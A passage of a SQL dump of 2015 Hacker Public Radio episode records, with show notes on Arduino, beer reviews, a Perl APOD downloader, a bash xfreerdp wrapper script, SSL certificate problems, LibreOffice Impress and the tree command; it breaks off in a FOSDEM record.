(1690,'2015-01-23','Arduino 101 Breadboard',1700,'learn how to use a breadboard.','<p>\r\nIn this two-part series, Klaatu introduces you to the Arduino. First, learn about the breadboard and how to make electricity course through it in order to power your very own simple circuit.\r\n</p>\r\n\r\n<p>\r\nTo follow along with what Klaatu is talking about, refer to these two\r\ngraphics:</p>\r\n\r\n<ul>\r\n<li><a href=\"https://openclipart.org/detail/104167/breadboard-by-mesamike\" target=\"_blank\">https://openclipart.org/detail/104167/breadboard-by-mesamike</a></li>\r\n<li><a href=\"https://openclipart.org/detail/181334/microcontroller--by-b.gaultier-181334\" target=\"_blank\">https://openclipart.org/detail/181334/microcontroller--by-b.gaultier-181334</a></li>\r\n</ul>\r\n\r\n<p>\r\nAnd here are diagrams of the simple circuits that Klaatu constructs.\r\n</p>\r\n\r\n<p>\r\n<img width=\"80%\" src=\"https://hackerpublicradio.org/eps/hpr1690_0.png\" alt=\"image: a diagram of the simplest circuit in todays show\" />\r\n</p>\r\n<p>\r\n<img width=\"80%\" src=\"https://hackerpublicradio.org/eps/hpr1690_1.png\" alt=\"image: a diagram of the switched circuit in todays show\" />\r\n</p>\r\n\r\n',78,91,0,'CC-BY-SA','Arduino',0,0,1),
(1692,'2015-01-27','Boulevard Brewing Company \"Sample Twelve\"',1190,'FiftyOneFifty explores nature and Kansas City brews while celebrating juke box heroes','<p>\r\nUnrelated tech stuff: \r\nRecently, Knightwise showed me a link to use a Raspberry Pi as a streaming music box, much like a Sonos player <a href=\"https://www.woutervanwijk.nl/pimusicbox/\">https://www.woutervanwijk.nl/pimusicbox/</a> .  I looked at the enclosures people had come up with and saw transistor radios from the 40s and 50s which were true works of art, but don\'t provide a great selection of controls.  It was then I remembered seeing a 1950\'s juke box wallbox control ( <a href=\"https://www.ebay.com/sch/i.html?_from=R40&amp;_trksid=p2050601.m570.l1313.TR2.TRC1.A0.H0.Xjuke+box+wallbox&amp;_nkw=juke+box+wallbox&amp;_sacat=0\">https://www.ebay.com/sch/i.html?_from=R40&amp;_trksid=p2050601.m570.l1313.TR2.TRC1.A0.H0.Xjuke+box+wallbox&amp;_nkw=juke+box+wallbox&amp;_sacat=0</a> ) in a local \"antique\" shop.  I\'m never sure when addressing our European friends what parts of the American experience they are familiar with, but in the 40s to the 70s, in just about every American diner with a jukebox, at every booth there would be a remote console with a coin slot.  Usually, you would have card tiles that could be rotated by a knob or by tabs, and each song would have a code made up of a letter and a number.  Dropping in the required currency and making a selection would cause the song to be played on the jukebox (and sometimes on a set of stereo speakers in the wall unit).  As you may see from the eBay link in the shownotes, wall boxes progressed from just a dozen titles in the 40s to far more complex systems, some with digital read out in the 80s.  Most were marvels of late art deco design.\r\n</p>\r\n<p>\r\nMy parents were far to frugal to let me drop coins into one of these pioneering marvels of analog networking, but thanks to a couple modders who have tied their panels into a Raspberry Pi, I can give you a general overview of how these units communicated with the central jukebox via primitive serial protocols.  First off, if you have the expectation of following in Phil Lavin\'s or Stephin Devlin\'s footsteps, be prepared to pay more for a wallbox certified to be ready to connect and work with the same brand\'s jukebox (while all wallboxes seemed to communicate by serial pulse, each company employed a different scheme).  Wallboxes of all conditions seem to start around $50 on eBay, but can go into the thousands.  As I said, all of the wallboxes are marvels of art deco design if they have no other purpose than to occupy your space and become a conversation piece.  Right now on eBay, there is an example of a wallbox converted into a waitorless ordering system (this looks like it is from the 70s, only now do we have this functionallity with iPads at every table).  In other words, where once was \"Stairway to Heaven\", now there was \"Steak and Eggs: $4.95\".  The add on plaque covering the face of the unit identified the system as T.O.B.Y., for Totally Order By Yourself.  I could find nothing on the tech on Google, but I really hope it was successful, because it truly would have been a master hack.\r\n</p>\r\n<p>\r\nFirst step. most wallboxes were powered from the jukebox, you can\'t just plug them into 120v alternating current, you will likely need a 25 or 30v adapter (research your model). If everything works, you should be able to drop your quarter, punch a letter number combo (which will stay down), then a motor will whir and you selected keys will punch back out.  What happens in the background, the motor will cause an energized arm to sweep in a circle, making a circuit with electrodes in it\'s path.  They keys selected determine how many pulses go down the output line, like a finger dialing a rotary phone.\r\n</p>\r\n<p>\r\nEach manufacturer used a different code.  In the case of Steve Devlin\'s Rowe Ami, there would be an initial set of pulses for the number, a pause, then a more complex set for characters A-V (earlier wallboxes had 10 letters and 0-9 to create 100 selections, later boxes had as many as 200).  Phil Lavin\'s Seeburg uses pulses corresponding to two base 20 digits, both protocols were discovered through trial and error.  Each gentleman uses a different method to protect his Pi from overvolt.  Devlin uses a 3.5v voltage regulator, which also makes the pulses appear more \"square\", Lavin uses an optical relay to electrically separate the Pi from Seeburg console entirely.\r\n</p>\r\n<p>\r\nBoth Lavin and Devlin use there wallboxes to control Sonos streaming players.  My idea is more flexible, I\'d like the Pi to be able to launch either streaming podcasts, or play the last ep of a selection of podcasts, or launch various home automation processes. I didn\'t think this talk warranted it\'s own podcast yet because it is clearly an unfinished idea, but I thought this application of old tech was too cool to wait until I was actually motivated to do something with it.  If I get a wallbox, I might be inclined instead to connect each button to a momentary switch and wire each in turn to one of the Pi\'s 40 I/O pins for an even more flexible instruction set.\r\n</p>\r\n<p>\r\n<a href=\"https://wallbox.weebly.com/index.html\">https://wallbox.weebly.com/index.html</a>\r\n<a href=\"https://phil.lavin.me.uk/2013/11/raspberry-pi-project-a-1960s-wallbox-interfaced-with-sonos/\">https://phil.lavin.me.uk/2013/11/raspberry-pi-project-a-1960s-wallbox-interfaced-with-sonos/</a>\r\n</p>\r\n<p>\r\nBoulevard brewing Company \"Sample Twelve\" \r\n<a href=\"https://www.boulevard.com\">https://www.boulevard.com</a> K.C. Mo\r\n</p>\r\n<p>\r\nThis is a unique marketing campaign from my favorite K.C. brewer.  The twelve pack contains four varieties of beer, two are established Boulevard offerings, and the other two are bottled with non gloss \"generic\" labels that appear to have been hand typed.  In other words, we are to believe we have been sold two prototype beers for our approval.\r\n</p>\r\n<p>\r\n80 Acre \"Hoppy\" Wheat Beer (the quotes are mine).  The graphics consist of an old Farmall tractor towing a pickup trailer carrying a gigantic hops bud.  From this presentation, one would expect an oppressivly hoppy beer, fortunately for the hop timid this is a rather satisfying abulation that only registers 20 IBUs.  I detect a distinct citrus taste, so I suspect Citra or related hops but Boulevard is keeping the exact specs closer to the vest than some other brewers.  The brewers escription of the beer may be found here (link in the shownotes) <a href=\"https://www.boulevard.com/BoulevardBeers/80-acre-hoppy-wheat-beer/\">https://www.boulevard.com/BoulevardBeers/80-acre-hoppy-wheat-beer/</a>  Pours corn silk yellow with lots of head but not a lot of lacing. Damp wheat aroma.\r\n</p>\r\n<p>\r\nOatmeal Stout:  This is the first of the \"generic\" label \"test\" beers. Pours opaque dark brown with a very small lite brown head that disappears.  Milk chocolate aroma.  Thin mouth feel, choclately after taste that lasts more than a flavor washing over your tongue (i.e., you drink it, then you taste the chocolaty/coffee like essence).  For locally brewed Oatmeal Stouts, I\'d give the nod to Free State in Lawrence KS, but I wouldn\'t turn down the brew from K.C. if they decide to produce it.  As it is not yet an \"official\", they don\'t document this beer on the Boulevard web page.\r\n</p>\r\n<p>\r\nUnfiltered Wheat Beer: There is a graphic of a farmer gathering wheat bundles to build shocks, surrounded by hops vines.  Pours the color of cloudy golden wheat straw, lots of persistent head that leaves little lacing.  Slight biscuity aroma.  Distinctly more citrusy than the 80 Acre.  Not much malt and just a little hops bitterness. Despite the name, you can safely drink this beer to th bottom without winding up with a mouthful of particulates.\r\n</p>\r\n<p>\r\nMid Coast IPA: The last \"experimental\" beer. At 104 IBUs, this is where all the hops you expected from 80 Acre went.  Pours wheat straw golden, thick white head that leaves little lacing, with a hoppy aroma.  Even at 104 IBU, its has a slight sweet taste and doesn\'t seem to be one of those \"my hops can beat up your hops beers\".  The label states: \"The hoppiest thing we have ever brewed.   Pretty nervy for a bunch of midwesterners\".  It\'s a great complement to the baked ham and spicey glaze I\'m having for dinner (link in the show notes, even though I had to improvise somewhat).\r\n<a href=\"https://www.tasteofhome.com/recipes/apple-cider-glazed-ham\">https://www.tasteofhome.com/recipes/apple-cider-glazed-ham</a>\r\n</p>\r\n<p>\r\nBefore I leave you, I wanted to play the sounds of dusk from my new homesite.  I can think of no more eloquent argument why living on the lake is better than living in town.\r\n</p>\r\n<p>\r\nNote: Recorded with 2.4Ghz Creative Labs GH0220B headset.  I am not happy with the result.\r\n</p>',131,14,0,'CC-BY-SA','5150 Shades of Beer,jukebox, beer, Kansas City, geese',0,0,1),
(1694,'2015-01-29','My APOD downloader',1320,'My simple Perl script to download the Astronomy Picture of the Day each day','<h1 id=\"my-apod-downloader\">My APOD Downloader</h1>\n <h2 id=\"astronomy-picture-of-the-day\">Astronomy Picture of the Day</h2>\n <p>You have probably heard of the <a href=\"https://apod.nasa.gov/apod/astropix.html\">Astronomy Picture of the Day (APOD)</a> site. It has existed since 1995, is provided by <a href=\"https://en.wikipedia.org/wiki/NASA\">NASA</a> and <a href=\"https://en.wikipedia.org/wiki/Michigan_Technological_University\">Michigan Technological University (MTU)</a> and is created and managed by <a href=\"https://www.mtu.edu/physics/department/faculty/nemiroff/\">Robert Nemiroff</a> and <a href=\"https://antwrp.gsfc.nasa.gov/htmltest/jbonnell/www/bonnell.html\">Jerry Bonnell</a>. The FAQ on the site says <em>\"The APOD archive contains the largest collection of annotated astronomical images on the internet\"</em>.</p>\n <h2 id=\"the-downloader\">The Downloader</h2>\n <p>Being a KDE user I quite like a moderate amount of bling, and I particularly like to have a picture on my desktop. I like to rotate my wallpaper pictures every so often, so I want to have a collection of images. To this end I download the APOD on my server every day and make the images available through an NFS-mounted volume.</p>\n <p>In 2012 I wrote a Perl script to perform the download, using a fairly primitive HTML parsing method. This script has been improved over the intervening years and now uses the Perl module <a href=\"https://search.cpan.org/~cjm/HTML-Tree-5.03/lib/HTML/TreeBuilder.pm\"><code>HTML::TreeBuilder</code></a> which I believe is much better at parsing HTML.</p>\n <p>The version of the script I use myself also includes the Perl module <code>Image::Magick</code> which interfaces to the awesome <a href=\"https://www.imagemagick.org/\"><code>ImageMagick</code></a> image manipulation software suite. I use this to annotate the downloaded image with the title parsed from the HTML so I know what it is.</p>\n <p>The script I am presenting here is called <code>collect_apod_simple</code> and does not use <code>ImageMagick</code>. I chose to omit it because the installation of this suite and the related Perl module can be difficult. Also, I do not feel that the annotation always works as well as it could, and I have not yet found the time to correct this shortcoming.</p>\n <p>A version of the more advanced script (called <code>collect_apod</code>) is available in the same place as <code>collect_apod_simple</code> should you wish to give it a try. Both scripts are available on <em>GitLab</em> under the link <a href=\"https://gitlab.com/davmo/hprmisc\">https://gitlab.com/davmo/hprmisc</a>.</p>\n <h2 id=\"the-code\">The Code</h2>\n <p>The script itself is described in the full show notes, available here: <a href=\"https://hackerpublicradio.org/eps/hpr1694_full_shownotes.html\">https://hackerpublicradio.org/eps/hpr1694_full_shownotes.html</a></p>\n <h2 id=\"links\">Links</h2>\n <ul>\n  <li>Wikipedia entry <a href=\"https://en.wikipedia.org/wiki/Astronomy_Picture_of_the_Day\">https://en.wikipedia.org/wiki/Astronomy_Picture_of_the_Day</a></li>\n  <li>Astronomy Picture of the Day <a href=\"https://apod.nasa.gov/apod/astropix.html\">https://apod.nasa.gov/apod/astropix.html</a></li>\n  <li>NASA <a href=\"https://en.wikipedia.org/wiki/NASA\">https://en.wikipedia.org/wiki/NASA</a></li>\n  <li>Michigan Technological University (MTU) <a href=\"https://en.wikipedia.org/wiki/Michigan_Technological_University\">https://en.wikipedia.org/wiki/Michigan_Technological_University</a></li>\n  <li>Robert Nemiroff <a href=\"https://www.mtu.edu/physics/department/faculty/nemiroff/\">https://www.mtu.edu/physics/department/faculty/nemiroff/</a></li>\n  <li>Jerry Bonnell <a href=\"https://antwrp.gsfc.nasa.gov/htmltest/jbonnell/www/bonnell.html\">https://antwrp.gsfc.nasa.gov/htmltest/jbonnell/www/bonnell.html</a></li>\n  <li><code>HTML::TreeBuilder</code> Perl module <a href=\"https://search.cpan.org/~cjm/HTML-Tree-5.03/lib/HTML/TreeBuilder.pm\">https://search.cpan.org/~cjm/HTML-Tree-5.03/lib/HTML/TreeBuilder.pm</a></li>\n  <li><code>ImageMagick</code> image manipulation software suite <a href=\"https://www.imagemagick.org/\">https://www.imagemagick.org/</a></li>\n  <li><em>GitLab</em> link <a href=\"https://gitlab.com/davmo/hprmisc\">https://gitlab.com/davmo/hprmisc</a>.</li>\n </ul>\n',225,0,1,'CC-BY-SA','NASA,astronomy,picture,Perl',0,0,1),
(1739,'2015-04-02','Theater of the Imagination: Part 07',1654,'Episode 07 of lostnbronx\'s series about dramatic audio media.','<p>In Part 07, lostnbronx talks about his Tascam DR-40 solid state recording device, covers an OTR show of particular note, along with a new show that\'s also extremely cool, and then makes a plea for you to support your favorite artists.\r\n</p>\r\n\r\n<h2>MUSIC IN THIS EPISODE</h2>\r\n\r\n<ul>\r\n	<li>myfreemickey_-_The_Game_Has_Changed.mp3 <a href=\"https://dig.ccmixter.org/files/myfreemickey/40672\">https://dig.ccmixter.org/files/myfreemickey/40672</a></li>\r\n	<li>My Free Mickey (featuring Kamihamiha) <a href=\"https://dig.ccmixter.org/people/myfreemickey\">https://dig.ccmixter.org/people/myfreemickey</a></li>\r\n	<li>Creative Commons Attribution 3.0 <a href=\"https://creativecommons.org/licenses/by/3.0/\">https://creativecommons.org/licenses/by/3.0/</a></li>\r\n</ul>\r\n\r\n\r\n<h2>The Tascam DR-40</h2>\r\n<ul>\r\n<li><a href=\"https://tascam.com/product/dr-40/\">https://tascam.com/product/dr-40/</a></li>\r\n<li><a href=\"https://www.bhphotovideo.com/c/product/821259-REG/Tascam_DR_40_DR_40_4_Track_Handheld_Digital.html\">https://www.bhphotovideo.com/c/product/821259-REG/Tascam_DR_40_DR_40_4_Track_Handheld_Digital.html</a></li>\r\n</ul>\r\n<h2>The Zoom H4n</h2>\r\n<ul>\r\n<li><a href=\"https://www.zoom.co.jp/english/products/h4n/index.php\">https://www.zoom.co.jp/english/products/h4n/index.php</a></li>\r\n<li><a href=\"https://www.amazon.com/Zoom-Handy-Portable-Digital-Recorder/dp/B001QWBM62\">https://www.amazon.com/Zoom-Handy-Portable-Digital-Recorder/dp/B001QWBM62</a></li>\r\n</ul>\r\n\r\n<h2>AUDIO CLIPS</h2>\r\n\r\n<h3>The Lives of Harry Lime</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/The_Adventures_of_Harry_Lime\">https://en.wikipedia.org/wiki/The_Adventures_of_Harry_Lime</a></li>\r\n<li><a href=\"https://archive.org/details/TheLivesOfHarryLime\">https://archive.org/details/TheLivesOfHarryLime</a></li></ul>\r\n\r\n<h3>The Wireless Theater Company</h3>\r\n<ul>\r\n	<li><a href=\"https://www.wirelesstheatrecompany.co.uk/\">https://www.wirelesstheatrecompany.co.uk/</a></li></ul>\r\n',107,52,0,'CC-BY-SA','audio drama, lostnbronx, recording, hardware, art',0,0,1),
(1693,'2015-01-28','DD fun',1412,'Having some Fun with the DD command.','<p>\r\nStoring info outside the file system with the DD command.\r\n</p>\r\n',295,0,0,'CC-BY-SA','DD command,partition,sector',0,0,1),
(1710,'2015-02-20','Windows Remote Desktop on GNU/Linux',679,'A wrapper script for xfreerdp to make connecting to windows servers painless','<p>\r\nRecorded using <a href=\"https://play.google.com/store/apps/details?id=com.digipom.easyvoicerecorder.pro\">Easy Voice Recorder Pro</a>\r\n</p>\r\n<p>I wrote a bash script to connect to various different windows servers from my GNU/Linux desktops. I had a few different requirements:</p>\r\n<ul>\r\n<li>I should be able to call it based on hostname.</li>\r\n<li>All windows should be 90% smaller than my screen.</li>\r\n<li>It should map my keyboard.</li>\r\n<li>It should map my local disk.</li>\r\n<li>It should quickly timeout if the port is not available.</li>\r\n</ul>\r\n<p>You can get the full script <a href=\"https://kenfallon.com/files/rdp.bash\" target=\"_blank\">here</a>, but let’s walk through it:</p>\r\n<p>The first line calls bash and then gets the server name from the symlink that is calling the script. The port is set as “3389”, but you can change that if you like.\r\n</p>\r\n<pre>\r\n#!/bin/bash\r\nSERVER=`basename $0`\r\nPORT=\"3389\"\r\n</pre>\r\n<p>The next few lines finds the smallest vertical and horizontal sizes, even if you are running multiple screens. Then it calculates 90% of that to use as the size.</p>\r\n<pre>\r\nh=$(echo \"scale=0;(($(xrandr | grep \'*+\' | sed \'s/x/ /g\' | awk \'{print $1}\' | sort -n | head -1 )/100)*90)\" | bc)\r\nv=$(echo \"scale=0;(($(xrandr | grep \'*+\' | sed \'s/x/ /g\' | awk \'{print $2}\' | sort -n | head -1 )/100)*90)\" | bc)\r\nSIZE=${h}x${v}\r\n</pre>\r\n<p>Next we set the default username and password. I have it ask me for my password but I put it in here as an example.</p>\r\n<pre>\r\nPASSWORD=\'defaultpassword\'\r\nUSERNAME=\'administrator\'\r\nWORKGROUP=\'workgroup\'\r\n</pre>\r\n<p>In some cases the credentials may be different, so I have a case statement that will cycle through the servers and apply the differences. Depending on your naming schemes you may be able to use regular expressions here to filter out groups of servers. </p>\r\n<pre>\r\ncase \"${SERVER}\" in\r\n  *server*) echo \"Server ${SERVER}\"\r\n    PASSWORD=\'work_password\'\r\n    USERNAME=\'administrator\'\r\n    WORKGROUP=\'WORKGROUP\'\r\n    ;;\r\n \r\n  *colo*) echo \"Server ${SERVER}\"\r\n    PASSWORD=\'colo_server_password\'\r\n    USERNAME=\'administrator\'\r\n    WORKGROUP=\'COLODOMAIN\'\r\n    ;;\r\n     \r\n  some_server ) echo \"Server ${SERVER}\"\r\n    PASSWORD=\'some_server_password\'\r\n    USERNAME=\'some_server_password\'\r\n    ;;\r\n  *) echo \"No match for ${SERVER}, using defaults\"\r\n    ;;\r\nesac\r\n</pre>\r\n<p>Next we use an inbuilt bash command to see if a remote port is open and timeout after one second. </p>\r\n<pre>\r\ntimeout 1 bash -c \"echo >/dev/tcp/${SERVER}/${PORT}\"\r\n</pre>\r\n<p>I used to connect to rdp using the program <a href=\"https://www.rdesktop.org/\" target=\"_blank\">rdesktop</a>, but it is now of limited value due to the fact that there are many open bugs that are not getting fixed. Bugs such as <em><a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=1075697\"><b>Bug 1075697</b></a> -<span id=\"summary_alias_container\"> <span id=\"short_desc_nonedit_display\">rdesktop cannot connect to systems using RDP version 6 or newer</span> </span></em> and <em><a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=1002978\"><b>Bug 1002978</b></a> -<span id=\"summary_alias_container\"> <span id=\"short_desc_nonedit_display\">Failed to negotiate protocol, retrying with plain RDP</span> </span></em>. I then switch to using <a href=\"https://www.freerdp.com/\" target=\"_blank\">xfreerdp</a>. This is the client that is behind <a href=\"https://remmina.sourceforge.net/\" target=\"_blank\">remmina</a>.</p>\r\n\r\n<p>You can use <em>xfreerdp /kbd-list</em> to get a list of the available keyboard layouts.</p>\r\n<pre>\r\nif [ $? -eq 0 ]; then\r\n  echo \"${SERVER}:${PORT} is open\"\r\n  xfreerdp /v:${SERVER} /size:${SIZE} /kbd-type:0x00000409 /t:${SERVER} /d:${WORKGROUP} /u:${USERNAME} /p:${PASSWORD} /a:drive,pc,/ /cert-ignore &amp;\r\nelse\r\n  echo \"${SERVER}:${PORT} is closed\"\r\nfi\r\n</pre>\r\n\r\n<p>Next you will need to be sure that your host names are available, either in dns or in your <em> /etc/hosts/</em> file. For example:</p>\r\n<pre>10.1.0.1 server1\r\n10.1.0.2 server2\r\n10.1.0.3 server3\r\n10.2.0.1 coloserver1\r\n10.2.0.2 coloserver2\r\n10.2.0.3 coloserver3\r\n192.168.1.1 some_server\r\n</pre>\r\n<p>Edit the script to your liking and then put it into your a directory in your path, possibly <em>/usr/local/bash</em> or <em>~/bin/</em>. You can then make symbolic links to the servers to the bash script, also in a directory in your path, using the command:</p>\r\n<pre>ln -s /usr/local/bash/rdp.bash ~/bin/some_server\r\nchmod +x ~/bin/some_server\r\n</pre>\r\n<p>Which links the global rdp.bash script to your personal symlink, and makes it executable.</p>\r\n<p>All that you need to do then is type the name of the server and a rdp screen should pop up.</p>\r\n<p>In our example:</p>\r\n<pre>$ some_server\r\n</pre>\r\n<p>From there your Windows Server session should pop up.</p>',30,42,0,'CC-BY-SA','bash,xfreerdp,rdesktop,remmina',0,0,1),
(1720,'2015-03-06','15 Certificate Issues and Solutions',1091,'A look at the problems that SSL certificates can have, and offers some solutions','<p>\r\nLast time we looked at some basics about how TLS and SSL work, and saw that this is basically an application of the same technology used to encrypt e-mails. But we also noted that there are some problems with this approach. We need to recognize that in security there is never a permanent solution, and that vulnerabilities are constantly being discovered, and ideally then being fixed. Some of these may involve highly technical issues about cryptographic methods, but I think the largest category of issues is about the processes around the use of certificates.\r\nFor more go to <a href=\"https://www.zwilnik.com/?page_id=686\">https://www.zwilnik.com/?page_id=686</a>\r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Root_certificate\">https://en.wikipedia.org/wiki/Root_certificate</a>\r\n</li>\r\n<li><a href=\"https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/included/\">https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/included/</a>\r\n</li>\r\n<li><a href=\"https://www.zdnet.com/microsoft-warns-of-fake-google-and-yahoo-domains-7000031463/\">https://www.zdnet.com/microsoft-warns-of-fake-google-and-yahoo-domains-7000031463/</a>\r\n</li>\r\n<li><a href=\"https://nakedsecurity.sophos.com/2013/12/09/serious-security-google-finds-fake-but-trusted-ssl-certificates-for-its-domains-made-in-france/\">https://nakedsecurity.sophos.com/2013/12/09/serious-security-google-finds-fake-but-trusted-ssl-certificates-for-its-domains-made-in-france/</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack\">https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\">https://en.wikipedia.org/wiki/Man-in-the-middle_attack</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack\">https://www.eff.org/deeplinks/2011/09/post-mortem-iranian-diginotar-attack</a>\r\n</li>\r\n<li><a href=\"https://support.mozilla.org/en-US/questions/994708\">https://support.mozilla.org/en-US/questions/994708</a>\r\n</li>\r\n<li><a href=\"https://convergence.io/\">https://convergence.io/</a>\r\n</li>\r\n<li><a href=\"https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/\">https://addons.mozilla.org/en-US/firefox/addon/certificate-patrol/</a>\r\n</li>\r\n<li><a href=\"https://www.duosecurity.com/\">https://www.duosecurity.com/</a>\r\n</li>\r\n<li><a href=\"https://www.certificate-transparency.org/what-is-ct\">https://www.certificate-transparency.org/what-is-ct</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">https://en.wikipedia.org/wiki/Transport_Layer_Security</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol\">https://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/OCSP_stapling\">https://en.wikipedia.org/wiki/OCSP_stapling</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=686\">https://www.zwilnik.com/?page_id=686</a>\r\n</li>\r\n</ul>',198,74,0,'CC-BY-SA','TLS, SSL, Certificates',0,0,1),
(1745,'2015-04-10','51 - LibreOffice Impress - Overview and Guidance',673,'Introduction to making Presentations, with some good advice.','<p>\r\nWe begin the discussion of Impress, the Presentation Graphics (i.e. slide deck) component of Libre Office. In this episode we look at some of the basic issues around presentations that you need to consider *before* you open up the software. Constructing a good presentation is not easy, and there are some good principles that the masters of the art can impart. WE discuss some of these here and provide links to good resources. \r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1087\">https://www.ahuka.com/?page_id=1087</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.edwardtufte.com/tufte/powerpoint\">https://www.edwardtufte.com/tufte/powerpoint</a>\r\n</li>\r\n<li><a href=\"https://www.linuxpromagazine.com/Online/Blogs/Off-the-Beat-Bruce-Byfield-s-Blog/How-to-avoid-giving-a-summary-presentation\">https://www.linuxpromagazine.com/Online/Blogs/Off-the-Beat-Bruce-Byfield-s-Blog/How-to-avoid-giving-a-summary-presentation</a>\r\n</li>\r\n<li><a href=\"https://blog.hubspot.com/blog/tabid/6307/bid/34274/7-Lessons-From-the-World-s-Most-Captivating-Presenters-SlideShare.aspx\">https://blog.hubspot.com/blog/tabid/6307/bid/34274/7-Lessons-From-the-World-s-Most-Captivating-Presenters-SlideShare.aspx</a>\r\n</li>\r\n<li><a href=\"https://www.presentationmagazine.com/\">https://www.presentationmagazine.com/</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1087\">https://www.ahuka.com/?page_id=1087</a>\r\n<p></p>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Presentations',0,0,1),
(1755,'2015-04-24','52 - LibreOffice Impress - Moving Around',814,'Introduction to the Impress application screen layout.','<p>\r\nNow we can start to take a look at the actual Impress application, and we begin by looking a how the program is laid out on the screen. Knowing where to find key features is important in using the program efficiently.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1112\">https://www.ahuka.com/?page_id=1112</a>\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Presentations, navigation',0,0,1),
(1765,'2015-05-08','53 - LibreOffice Impress - Outlining and Blank Presentations',829,'Learning to start with the content and not the eye candy.','<p>\r\nHaving looked at the screen layout, now we can look at how to build a presentation by focusing on the content first, and not the eye candy. This can be done by creating an outline, or by beginning with a blank presentation. We discuss both and give some ideas on which to use in each situation.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1100\">https://www.ahuka.com/?page_id=1100</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2014/12/Sample-Outline-for-Impress.odt\">https://www.ahuka.com/wp-content/uploads/2014/12/Sample-Outline-for-Impress.odt</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2014/12/Sample-Presentation-from-Outline.odp\">https://www.ahuka.com/wp-content/uploads/2014/12/Sample-Presentation-from-Outline.odp</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1100\">https://www.ahuka.com/?page_id=1100</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','Libreoffice,Libreoffice impress,outline',0,0,1),
(1718,'2015-03-04','What\'s In My Pickup Toolbox',1587,'What\'s In Fifty One Fifty\'s Pickup Toolbox','<p>\r\nThe mystery of my pickup toolbox.\r\n</p>',131,23,0,'CC-BY-SA','tools,toolbox',0,0,1),
(1719,'2015-03-05','The Linux Tree Command',848,'The Linux Tree Command and its uses','<h2>tree - list contents of directories in a tree-like format.</h2>\r\n<h2>Synopsis</h2>\r\n<p><b>tree</b> [<b>-adfghilnopqrstuvxACDFNS</b>] [<b>-L</b> <i>level</i> [<b>-R</b>]] [<b>-H</b> <i>baseHREF</i>] [<b>-T</b> <i>title</i>] [<b>-o</b>\r\n<i>filename</i>] [<b>--nolinks</b>] [<b>-P</b> <i>pattern</i>] [<b>-I</b> <i>pattern</i>] [<b>--inodes</b>] [<b>--device</b>] [<b>--noreport</b>]\r\n[<b>--dirsfirst</b>] [<b>--version</b>] [<b>--help</b>] [<b>--filelimit</b> <i>#</i>] [<i>directory</i> ...]\r\n</p>\r\n<h2>Description</h2>\r\n\r\n<p><i>Tree</i> is a recursive directory listing program that produces a depth indented listing of files. Color is supported ala <i>dircolors</i> if the\r\n<b>LS_COLORS</b> environment variable is set, output is to a tty, and the <b>-C</b> flag is used. With no arguments, <i>tree</i> lists the files in the current\r\ndirectory. When directory arguments are given, <i>tree</i> lists all the files and/or directories found in the given directories each in turn. Upon completion\r\nof listing all files/directories found, <i>tree</i> returns the total number of files and/or directories listed.\r\n</p><p>By default, when a symbolic link is encountered, the path that the symbolic link refers to is printed after the name of the link in the format:\r\n\r\n</p><p>name -> real-path\r\n</p><p>If the \'<b>-l</b>\' option is given and the symbolic link refers to an actual directory, then <i>tree</i> will follow the path of the symbolic link as if it\r\nwere a real directory.\r\n</p>\r\n<p>\r\n<a href=\"https://linux.die.net/man/1/tree\">https://linux.die.net/man/1/tree</a>\r\n</p>',129,0,0,'CC-BY-SA','tree command',0,0,1),
(1697,'2015-02-03','FOSDEM 2015 Friday Night and Saturday Morning 1 of 5',3068,'Bradley M. Kuhn, Karen Sandler, Sriram Ramkrishna, Matthew Miller, Rich Bowen, Karanbir Singh','<h2>FOSDEM 2015 Friday Night and Saturday Morning 1 of 5</h2>\r\n<p>\r\n<img src=\"https://fosdem.org/2015/assets/style/logo-big-a5243e4d7e00f8bc6816e2b3f3804f505a17ae4832e6e52a24d183617e03a87c.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://fosdem.org/2015/\" target=\"_blank\">https://fosdem.org/2015/</a>\r\n</p>\r\n<blockquote cite=\"https://fosdem.org/2015/about/\">\r\nFOSDEM is a two-day event organised by volunteers to promote the widespread use of open source software. Videos of the talks refered to in this show are made available on their website.\r\n</blockquote>\r\n\r\n<h2>Software Freedom Conservancy</h2>\r\n<p>\r\n<img src=\"https://sfconservancy.org/img/conservancy-header.png\" alt=\"logo\" />\r\n<br />\r\nWebsite: <a href=\"https://sfconservancy.org\" target=\"_blank\">https://sfconservancy.org</a>\r\n</p>\r\n<blockquote cite=\"https://sfconservancy.org/overview/\">\r\nSoftware Freedom Conservancy is a not-for-profit organization that helps promote, improve, develop, and defend 